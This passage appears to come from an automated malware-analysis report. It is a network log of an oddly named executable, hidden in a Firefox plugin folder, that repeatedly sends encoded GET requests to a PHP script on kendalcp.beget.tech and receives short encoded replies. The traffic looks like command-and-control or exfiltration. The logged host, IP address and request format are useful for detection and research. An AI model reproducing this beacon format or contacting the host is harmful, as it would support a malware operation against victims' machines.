Nov 7, 2024 21:15:14.470108986 CET	2161	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech
Nov 7, 2024 21:15:15.432118893 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:15:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50045	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:15:20.455508947 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:15:21.428141117 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:15:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50046	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:15:26.438896894 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:15:27.386169910 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:15:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50047	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:15:32.413191080 CET	2158	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=d1nIiojI5QzYhZWNwQ2YllTOyczNmJzNwUGZ2YDNhRDMxYWNxAjIsISMmNGOlBzNmNWYwMzNmJDN0QzYxQTZiZTZ0UzYiljM0UDNhdzNmlzNiojImZWZ4IWZ4ImZyUDOwEDNmV2NiFmZ3EDOkVWM0cDMwQjIsICN2QjNlJWZjVGN2IDNwUDNiBzNjNzN0YWO1QmNhZ2M1gTZycjMmhjNiojI5YGMxMGMmdjY1UjMiFTNhFDN3cDOiZTO0YWM3YzNkZjI7xSfikjVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMl2YtJGcChlWshnMVl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSplkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZ [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:15:33.360399008 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:15:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50048	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:15:38.377080917 CET	2161	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech
Nov 7, 2024 21:15:39.543080091 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:15:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50049	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:15:44.564297915 CET	2161	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech
Nov 7, 2024 21:15:45.506578922 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:15:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50050	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:15:50.517457008 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:15:51.473834991 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:15:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50051	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:15:56.485891104 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:15:57.442025900 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:15:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50052	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:16:02.457315922 CET	2161	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ